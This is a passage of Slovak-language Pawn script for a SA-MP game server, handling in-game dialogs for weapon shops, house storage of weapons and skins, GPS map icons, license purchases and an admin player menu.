                    if(GetPlayerACMoney(playerid)<1000) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Na nákup tejto položky potrebuješ 1000$ !","OK","Cancel");
                    else
                    {
                        GivePlayerACMoney(playerid,-1000);
                        SetPlayerArmour(playerid,100);
                    }
                }
                
                ShowPlayerDialog(playerid,Dialog_GangAmmo,DIALOG_STYLE_LIST,"Gang Ammu Nation","9mm (500$)\n9mm + tlmič (800$)\nDesert Eagle (1400$)\nShotgun (400$)\nSawn - Off (800$)\nCombat Shotgun (1100$)\nTec 9 (500$)\nMicro SMG (800$)\nRifle (2000$)\nSMG (2500$)\nAK - 47 (3500$)\nM4 (5000$)\nGranát (300$)\n{ffff00}Armour (1000$)","Kupit","Cancel");
                SetPlayerArmedWeapon(playerid, 0);
                PlayerPlaySound(playerid, 1056, 0, 0, 0);
            }
            if(response == 0)
            {
                Player[playerid][IPIP]=false;
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HouseSpawn)
        {
            if(response == 1)
            {
                SetTimerEx("IslayerInPickupFalse", 2250, 0, "i", playerid);

                Player[playerid][ShowGangPickup]=0;
                SetCameraBehindPlayer(playerid);
                if(Player[playerid][FreezeP] == false) TogglePlayerControllable(playerid, 1);
                
                if(Player[playerid][Team]==99 && Player[playerid][ClanP]!=9999) //ak je hrac v clane
                {
                    ResetPlayerWeapons(playerid);
                     SetPlayerACMoney(playerid, 5000);
                     SetPlayerPos(playerid, Clan[Player[playerid][ClanP]][cpiX], Clan[Player[playerid][ClanP]][cpiY], Clan[Player[playerid][ClanP]][cpiZ]);
                     SetPlayerInterior(playerid, Clan[Player[playerid][ClanP]][cIntID]);
                     SetPlayerVirtualWorld(playerid, Clan[Player[playerid][ClanP]][cVWID]);
                 }
            }
            if(response == 0)
            {
                SetPlayerPos(playerid,HouseStates[Player[playerid][HouseP]][I_x],HouseStates[Player[playerid][HouseP]][I_y],HouseStates[Player[playerid][HouseP]][I_z]);
                SetPlayerInterior(playerid,HouseStates[Player[playerid][HouseP]][Interior]);
                SetPlayerVirtualWorld(playerid,HouseStates[Player[playerid][HouseP]][VirtualWorld]);
                Player[playerid][ShowGangPickup]=0;
                PlayerCameraBack(playerid);

                SetTimerEx("IslayerInPickupFalse", 2250, 0, "i", playerid);
            }
            
            ////////////////////////////////////////
            
            if(Player[playerid][Team]==99 && Player[playerid][ClanP]!=9999) //ak je hrac v clane
            {
                 new cText2x[256];
                 new w0[8][32];
                 new a0[8][16];
                 new cway3[64];
                 format(cway3,64, "SL/Server/Clans/Clan%d.cfg", clanid);
                 
                 SetPlayerColor(playerid, dini_Int(cway3, "Color"));

                 for(new x=0; x<8; x++)
                 {
                     new W_id[16];
                     format(W_id,16, "W%d_id", x);
                     new W_ammo[16];
                     format(W_ammo,16, "W%d_ammo", x);

                     if(dini_Int(cway3, W_id) == 0)
                    {
                        format(w0[x],32, "{090909}- empty -");
                        format(a0[x],16, " ");
                    }
                     else
                    {
                        format(w0[x],32, "{ffffff}%s", WeaponName(dini_Int(cway3, W_id)));
                        format(a0[x],16, " (%dks)", dini_Int(cway3, W_ammo));
                    }
                 }

                      if(dini_Int(cway3, "WeaponSlots") == 3) format(cText2x,256, "%s%s\n%s%s\n%s%s", w0[0],a0[0],w0[1],a0[1],w0[2],a0[2]);
                 else if(dini_Int(cway3, "WeaponSlots") == 4) format(cText2x,256, "%s%s\n%s%s\n%s%s\n%s%s", w0[0],a0[0],w0[1],a0[1],w0[2],a0[2],w0[3],a0[3]);
                 else if(dini_Int(cway3, "WeaponSlots") == 5) format(cText2x,256, "%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w0[0],a0[0],w0[1],a0[1],w0[2],a0[2],w0[3],a0[3],w0[4],a0[4]);
                 else if(dini_Int(cway3, "WeaponSlots") == 6) format(cText2x,256, "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w0[0],a0[0],w0[1],a0[1],w0[2],a0[2],w0[3],a0[3],w0[4],a0[4],w0[5],a0[5]);
                 else if(dini_Int(cway3, "WeaponSlots") == 7) format(cText2x,256, "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w0[0],a0[0],w0[1],a0[1],w0[2],a0[2],w0[3],a0[3],w0[4],a0[4],w0[5],a0[5],w0[6],a0[6]);
                 else if(dini_Int(cway3, "WeaponSlots") == 8) format(cText2x,256, "%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s", w0[0],a0[0],w0[1],a0[1],w0[2],a0[2],w0[3],a0[3],w0[4],a0[4],w0[5],a0[5],w0[6],a0[6],w0[7],a0[7]);

                 Player[playerid][FNC_04]=0;

                ShowPlayerDialog(playerid,Dialog_ClanWList,DIALOG_STYLE_LIST,"Výber zbraní",cText2x,"OK","Cancel");
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_CMD_menu)
        {
            if(response == 1)
            {
                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_HouseLocked,DIALOG_STYLE_MSGBOX,"Zamknutie domu","Vyber si či chceš svoj dom zamknuť (Lock) alebo odomknuť (Unlock)","Lock","Unlock");
                if(listitem == 1) ShowPlayerDialog(playerid,Dialog_HS_CMD_wtype,DIALOG_STYLE_LIST,"Dom","Vložiť zbraň\nVybrať zbraň","Ďalej","Cancel");
                if(listitem == 2) ShowPlayerDialog(playerid,Dialog_HS_CMD_skinm,DIALOG_STYLE_LIST,"Dom","Vložiť skin\nVybrať skin","Ďalej","Cancel");
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_CMD_skinm)
        {
            if(response == 1)
            {
                new line[5][32], string[256], HOUSE_way[32];
                format(HOUSE_way,32, "SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);

                for(new l=0; l<5; l++)
                {
                    new S_id[16];
                    format(S_id, 16, "S%d_id", l);
                    if(dini_Int(HOUSE_way, S_id) == 0) line[l]="{777777}- empty -";
                    else format(line[l], 32, "{ffffff}ID: %d", dini_Int(HOUSE_way, S_id));
                }

                format(string, 256, "%s\n%s\n%s\n%s\n%s", line[0], line[1], line[2], line[3], line[4]);

                if(listitem == 0) ShowPlayerDialog(playerid, Dialog_HS_CMD_skins, DIALOG_STYLE_LIST, "Vložiť skin", string, "Nahradiť", "Cancel");
                if(listitem == 1) ShowPlayerDialog(playerid, Dialog_HS_CMD_sking, DIALOG_STYLE_LIST, "Vložiť skin", string, "Obliecť", "Cancel");
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_CMD_skins)
        {
            if(response == 1)
            {
                new S_id[16], HOUSE_way[32], string[128];
                format(HOUSE_way,32, "SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);

                format(S_id, 16, "S%d_id", listitem);

                dini_IntSet(HOUSE_way, S_id, Player[playerid][Skin]);

                format(string,128, "~w~Vlozil si si do domu skin cislo ~y~%d~w~!", Player[playerid][Skin]);

                FormatPlayerInfoBox(playerid, "~g~Dum", string, 2500);
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_CMD_sking)
        {
            if(response == 1)
            {
                new S_id[16], HOUSE_way[32], string[128];
                format(HOUSE_way,32, "SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);

                format(S_id, 16, "S%d_id", listitem);

                if(dini_Int(HOUSE_way, S_id) == 0) return FormatPlayerInfoBox(playerid, "~g~Dum", "~r~Na tomto slote nemas skin!", 2500);
                else
                {
                    Player[playerid][Skin] = dini_Int(HOUSE_way, S_id);
                    SetPlayerSkin(playerid, Player[playerid][Skin]);

                    dini_IntSet(HOUSE_way, S_id, 0);

                    format(string,128, "~w~Obliekol si si skin cislo ~y~%d~w~!", Player[playerid][Skin]);

                    FormatPlayerInfoBox(playerid, "~g~Dum", string, 2500);
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HouseLocked)
        {
            if(response == 1)
            {
                House_V[Player[playerid][HouseP]][Lock]=1;
                ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Zamkol si svoj dom !","OK","Cancel");
            }
            if(response == 0)
            {
                House_V[Player[playerid][HouseP]][Lock]=0;
                ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Odomkol si svoj dom !","OK","Cancel");
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_CMD_wtype)
        {
            if(response == 1)
            {
                new way[32];
                format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                new Text2[256], w1[64], w2[64], w3[64], w4[64], w5[64];

                     if(dini_Int(way,"W1_type")==0) w1="{777777}- empty -";
                else if(dini_Int(way,"W1_type")!=0) format(w1,64,"{ffffff}%s (%d ammo)",WeaponName(dini_Int(way,"W1_type")),dini_Int(way,"W1_ammo"));
                     if(HouseStates[Player[playerid][HouseP]][WeaponSlots] < 2) w2="{444444}- empty -";
                else if(dini_Int(way,"W2_type")==0) w2="{777777}- empty -";
                else if(dini_Int(way,"W2_type")!=0) format(w2,64,"{ffffff}%s (%d ammo)",WeaponName(dini_Int(way,"W2_type")),dini_Int(way,"W2_ammo"));
                     if(HouseStates[Player[playerid][HouseP]][WeaponSlots] < 3) w3="{444444}- empty -";
                else if(dini_Int(way,"W3_type")==0) w3="{777777}- empty -";
                else if(dini_Int(way,"W3_type")!=0) format(w3,64,"{ffffff}%s (%d ammo)",WeaponName(dini_Int(way,"W3_type")),dini_Int(way,"W3_ammo"));
                     if(HouseStates[Player[playerid][HouseP]][WeaponSlots] < 4) w4="{444444}- empty -";
                else if(dini_Int(way,"W4_type")==0) w4="{777777}- empty -";
                else if(dini_Int(way,"W4_type")!=0) format(w4,64,"{ffffff}%s (%d ammo)",WeaponName(dini_Int(way,"W4_type")),dini_Int(way,"W4_ammo"));
                     if(HouseStates[Player[playerid][HouseP]][WeaponSlots] < 5) w5="{444444}- empty -";
                else if(dini_Int(way,"W5_type")==0) w5="{777777}- empty -";
                else if(dini_Int(way,"W5_type")!=0) format(w5,64,"{ffffff}%s (%d ammo)",WeaponName(dini_Int(way,"W5_type")),dini_Int(way,"W5_ammo"));

                format(Text2,256,"%s\n%s\n%s\n%s\n%s",w1,w2,w3,w4,w5);

                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_HS_CMD_setw,DIALOG_STYLE_LIST,"Dom / Zbrane",Text2,"Ďalej","Cancel");
                if(listitem == 1) ShowPlayerDialog(playerid,Dialog_HS_CMD_getw,DIALOG_STYLE_LIST,"Dom / Zbrane",Text2,"Ďalej","Cancel");
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_CMD_setw)
        {
            if(response == 1)
            {
                Player[playerid][HouseWeaponType]=listitem+1;

                if(Player[playerid][HouseWeaponType] > HouseStates[Player[playerid][HouseP]][WeaponSlots]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok Weapon Slotov !");
                else
                {
                    new Text1[64], Text2[256], stringway[32], way[32];
                    format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                    format(stringway,32,"W%d_type",Player[playerid][HouseWeaponType]);
                    format(Text2,256,"Zadaj počet nábojov ktoré chceš vložiť.\n{ff0000}Warning:{ffffff} Do domu vložiš zbraň ktoru máš práve v ruke (%s) !\n{ff0000}Warning:{ffffff} Pokiaľ zbraň v dome a zbraň v tvojej ruke budu nezhodné predchadzajúca zbraň zmizne !",WeaponName(GetPlayerWeapon(playerid)));
                    format(Text1,64,"Dom / Zbrane / %s",WeaponName(dini_Int(way,stringway)));
                    ShowPlayerDialog(playerid,Dialog_HS_CMD_setw_input,DIALOG_STYLE_INPUT,Text1,Text2,"Vložiť","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_CMD_getw)
        {
            if(response == 1)
            {
                Player[playerid][HouseWeaponType]=listitem+1;

                if(Player[playerid][HouseWeaponType] > HouseStates[Player[playerid][HouseP]][WeaponSlots]) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatek Weapon Slotů !");
                else
                {
                    new Text1[64], stringway[32], way[32];
                    format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                    format(stringway,32,"W%d_type",Player[playerid][HouseWeaponType]);
                    format(Text1,64,"Dom / Zbrane / %s",WeaponName(dini_Int(way,stringway)));

                    if(dini_Int(way,stringway)==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš tu vloženu zbraň !");
                    else ShowPlayerDialog(playerid,Dialog_HS_CMD_getw_input,DIALOG_STYLE_INPUT,Text1,"Zadaj počet nábojov ktoré chceš vybrať.","Vybrať","Cancel");
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_CMD_setw_input)
        {
            if(response == 1)
            {
                if(!strlen(inputtext)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nezadal si počet nábojov !");
                else if(GetPlayerAmmo(playerid)<strval(inputtext)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš u sebe dostatok municie !");
                else
                {
                    new way[32], wtype[32], wammo[32];
                    format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                    format(wtype,32,"W%d_type",Player[playerid][HouseWeaponType]);
                    format(wammo,32,"W%d_ammo",Player[playerid][HouseWeaponType]);

                    if(GetPlayerWeapon(playerid) == dini_Int(way,wtype))
                    {
                        House_V[Player[playerid][HouseP]][WeaponAmmo]=dini_Int(way,wammo);
                        House_V[Player[playerid][HouseP]][WeaponAmmo]+=strval(inputtext);
                        dini_IntSet(way,wammo,House_V[Player[playerid][HouseP]][WeaponAmmo]);
                    }
                    else
                    {
                        dini_IntSet(way,wtype,GetPlayerWeapon(playerid));
                        dini_IntSet(way,wammo,strval(inputtext));
                    }
                    GivePlayerWeapon(playerid,GetPlayerWeapon(playerid),-strval(inputtext));
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Úspešne si si vložil do domu zbraň.","OK","");
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_HS_CMD_getw_input)
        {
            if(response == 1)
            {
                new way[32], wtype[32], wammo[32];
                format(way,32,"SL/Server/Houses/House%d.cfg",Player[playerid][HouseP]);
                format(wtype,32,"W%d_type",Player[playerid][HouseWeaponType]);
                format(wammo,32,"W%d_ammo",Player[playerid][HouseWeaponType]);

                if(!strlen(inputtext)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nezadal si počet nábojov !");
                else if(dini_Int(way,wammo)<strval(inputtext)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš dostatok municie v dome !");
                else
                {
                    GivePlayerWeapon(playerid,dini_Int(way,wtype),strval(inputtext));

                    if(dini_Int(way,wammo)==strval(inputtext))
                    {
                        dini_IntSet(way,wtype,0);
                        dini_IntSet(way,wammo,0);
                    }
                    else
                    {
                        House_V[Player[playerid][HouseP]][WeaponAmmo]=dini_Int(way,wammo);
                        House_V[Player[playerid][HouseP]][WeaponAmmo]-=strval(inputtext);
                        dini_IntSet(way,wammo,House_V[Player[playerid][HouseP]][WeaponAmmo]);
                    }
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Úspešne si si vybral z domu zbraň.","OK","");
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_ElectroShop)
        {
            if(response == 1)
            {
                if(listitem == 0)
                {
                    if(Player[playerid][GPS]==true) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Už máš jedno GPS !","OK","Cancel");
                    else if(GetPlayerACMoney(playerid)<50000) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Nemáš dostatok peňazí !","OK","Cancel");
                    else
                    {
                        Player[playerid][GPS]=true;
                        GivePlayerACMoney(playerid,-50000);
                        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Kupil si si GPS, teraz budeš mať na mape aj ikonky.","OK","Cancel");
                        //--------------------< BANKS >---------------------//
                        SetPlayerMapIcon(playerid,0,1481.189,-1771.103,18.795,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,1,1605.692,773.772,7.1875,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,2,2413.21,1120.802,10.82,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,40,300.537,-1609.149,33.094,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,41,2861.564,-1440.174,10.937,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,42,2302.998,-16.178,26.484,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,43,-2144.283,-2425.526,30.625,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,45,-2575.219,242.083,9.561,52,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,46,-1951.157,1344.648,7.188,52,0,MAPICON_LOCAL);
                        //--------------------< TEAMS >---------------------//
                        SetPlayerMapIcon(playerid,3,2512.238,-1665.44,13.72,62,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,4,2460.511,-1389.657,24.18,59,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,5,2681.585,-1402.5,30.65,60,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,6,2261.424,-1906.548,15.19,58,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,7,1275.044,-1662.776,19.734,30,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,8,2189.4,-2262.0,13.4,44,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,9,-1687.8872070313,-18.303468704224,3.5546875,43,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,10,1831.054,-1108.974,23.9,18,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,11,1341.356,-1675.227,17.715,38,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,12,2151.487,-1807.884,13.546,55,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,13,1554.952,-1675.59,16.195,30,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,14,2137.989,-1905.364,13.546,51,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,15,1576.791,-1479.614,14.212,11,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,16,1172.788,-1323.434,15.4,22,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,17,967.77,-1252.67,16.956,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,18,285.164,2002.722,17.64,19,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,44,2333.949,51.892,26.484,30,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,67,-2178.4504394531,-223.88455200195,36.519073486328,61,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,68,-2521.3037109375,-624.64526367188,132.78244018555,5,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,69,-1605.5047607422,711.10198974609,13.8671875,30,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,70,-2026.3106689453,67.152297973633,28.691593170166,20,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,71,-1526.2415771484,485.71505737305,7.1796875,19,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,72,-2455.6298828125,503.88360595703,30.078125,30,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,73,-1643.1689453125,1385.2122802734,7.1796875,18,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,74,-1864.6663818359,-1559.3851318359,22.2109375,11,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,75,-2172.7509765625,680.07299804688,55.162162780762,23,0,MAPICON_LOCAL);
                        //--------------------< BRIGADY >-------------------//
                        SetPlayerMapIcon(playerid,76,2120.5112304688,-1790.2296142578,13.5546875,56,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,77,-1700.7366943359,28.815383911133,3.5546875,56,0,MAPICON_LOCAL);
                        //--------------------< SHOPS >---------------------//
                        //SetPlayerMapIcon(playerid,19,1359.905,-1854.288,13.570,32,0,MAPICON_LOCAL); //electro_shop
                        SetPlayerMapIcon(playerid,20,1835.0,-1681.7,13.4,48,0,MAPICON_LOCAL);
                        //SetPlayerMapIcon(playerid,21,1247.9,-1560,13.5,32,0,MAPICON_LOCAL); //urad
                        SetPlayerMapIcon(playerid,22,1938.247,-1772.414, 13.107,55,0,MAPICON_LOCAL); //fuel pump [0]   LS
                        SetPlayerMapIcon(playerid,23,1005.194,-933.600,  41.902,55,0,MAPICON_LOCAL); //fuel pump [1]   LS
                        SetPlayerMapIcon(playerid,47,-2023.372,156.928,28.835,55,0,MAPICON_LOCAL); //fuel pump [2]   SF
                        SetPlayerMapIcon(playerid,48,-1675.307,413.729,7.179,55,0,MAPICON_LOCAL); //fuel pump [2]   SF
                        SetPlayerMapIcon(playerid,49,-2407.228,975.950,45.296,55,0,MAPICON_LOCAL); //fuel pump [2]   SF
                        SetPlayerMapIcon(playerid,24,2400.602,-1981.754, 13.546,6,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,25,1368.864,-1279.882, 13.546,6,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,26,2419.980,-1508.989, 24.000,14,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,27,2244.416,-1665.357, 15.476,45,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,28,2397.921,-1899.110, 13.546,14,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,29,1199.266, -918.503, 43.120,10,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,30, 927.403,-1352.973, 13.376,14,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,31,2105.452,-1806.507, 13.554,29,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,32, 810.615,-1616.185, 13.546,10,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,33,1038.230,-1340.731, 13.741,10,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,34, 499.661,-1360.556, 16.359,45,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,35, 461.748,-1500.961, 31.042,45,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,39,2446.626,-1977.238, 13.546,27,0,MAPICON_LOCAL);
                        //sf + vidiek
                        SetPlayerMapIcon(playerid,50,2333.4094238281,61.598838806152,26.70578956604,6,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,51,2332.7509765625,75.168670654297,26.620975494385,29,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,52,1367.2220458984,248.55700683594,19.566932678223,29,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,53,-2093.4106445313,-2464.5834960938,30.625,6,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,54,-2155.08203125,-2460.7436523438,30.8515625,14,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,55,-2336.3225097656,-166.9799041748,35.5546875,10,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,56,-2625.8757324219,208.5,4.6864461898804,6,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,57,-2671.5483398438,258.2746887207,4.6328125,14,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,58,-2356.3681640625,1008.0089111328,50.8984375,10,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,59,-1912.2045898438,828.01928710938,35.212711334229,10,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,60,-1882.6011962891,866.30017089844,35.171875,45,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,61,-1816.5123291016,617.82867431641,35.171875,14,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,62,-1694.9097900391,951.68878173828,24.890625,45,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,63,-1721.7735595703,1359.7717285156,7.1853160858154,29,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,64,-2523.7309570313,1216.1951904297,37.428329467773,29,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,65,-2374.5075683594,910.30676269531,45.4453125,45,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,66,-1808.4222412109,945.59234619141,24.890625,29,0,MAPICON_LOCAL);
                        //--------------------< RACES >--------------------//
                        SetPlayerMapIcon(playerid,36,1636.961,-1883.375,25.241,53,0,MAPICON_LOCAL);
                        //--------------------< GYMS >---------------------//
                        SetPlayerMapIcon(playerid,78,2229.671,-1721.729,13.565,54,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,79,-2269.769,-156.024,35.320,54,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,80,1809.744,-1167.061,24.226,54,0,MAPICON_LOCAL);
                        //--------------------< CAR SHOPS >-----------------//
                        SetPlayerMapIcon(playerid,81,-1960.6163330078,305.33749389648,35.473926544189,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,82,-1659.5346679688,1220.4112548828,7.25,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,83,2131.8208007813,-1150.4176025391,24.159635543823,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,84,414.82418823242,2535.1804199219,19.1484375,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,85,2089.6667480469,-2080.5969238281,13.546875,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,86,2506.4636230469,-1746.0355224609,13.500896453857,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,87,-2579.7580566406,310.21548461914,5.1796879768372,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,88,1628.2923583984,600.22668457031,1.7578125,27,0,MAPICON_LOCAL);
                        SetPlayerMapIcon(playerid,89,848.46783447266,-1817.9799804688,12.193820953369,27,0,MAPICON_LOCAL);
                    }
                }
                if(listitem == 1)
                {
                         if(Player[playerid][Notebook]==true) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Už máš jeden Notebook !","OK","Cancel");
                    else if(GetPlayerACMoney(playerid)<250000) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Nemáš dostatok peňazi !","OK","Cancel");
                    else
                    {
                        ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Kupil si si Notebook, pre zapnutíie použi /notebook","OK","Cancel");
                        Player[playerid][Notebook]=true;
                        GivePlayerACMoney(playerid,-250000);
                    }
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_BuyVodicak)
        {
            if(response == 1)
            {
                if(Player[playerid][Vodicak]==true) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Už máš Vodičský prukaz ! !","OK","Cancel");
                else if(GetPlayerACMoney(playerid)<50000) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Nemáš dostatok peňazí !","OK","Cancel");
                else
                {
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Kupil si si Vodičský preukaz","OK","Cancel");
                    Player[playerid][Vodicak]=true;
                    GivePlayerACMoney(playerid,-50000);
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_BuyZbrojak)
        {
            if(response == 1)
            {
                if(Player[playerid][Zbrojak]==true) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Už máš Zbrojný preukaz ! !","OK","Cancel");
                else if(GetPlayerACMoney(playerid)<45000) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Nemáš dostatok peňazí !","OK","Cancel");
                else
                {
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","Kupil si si Zbrojný preukaz","OK","Cancel");
                    Player[playerid][Zbrojak]=true;
                    GivePlayerACMoney(playerid,-45000);
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Player)
        {
            if(response == 1)
            {
                new Save_ID = Player[playerid][SaveID];

                if(listitem == 0) ShowPlayerDialog(playerid,Dialog_PlayerHP,DIALOG_STYLE_INPUT,"Set HP","Nastav hráčovi život na: 0-100%","Set","Cancel");
                if(listitem == 1) ShowPlayerDialog(playerid,Dialog_PlayerArmour,DIALOG_STYLE_INPUT,"Set Armour","Nastav hráčovi vestu na: 0-100%","Set","Cancel");
                if(listitem == 2)
                {
                    if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,COLOR_WARNING,"Hráč sa medzitým odpojil !");
                    else
                    {
                        KillPlayer(Save_ID);
                        new Name[24];
                        GetPlayerName(playerid,Name,24);
                        new Name2[24];
                        GetPlayerName(Save_ID,Name2,24);
                        new MSG1[128];
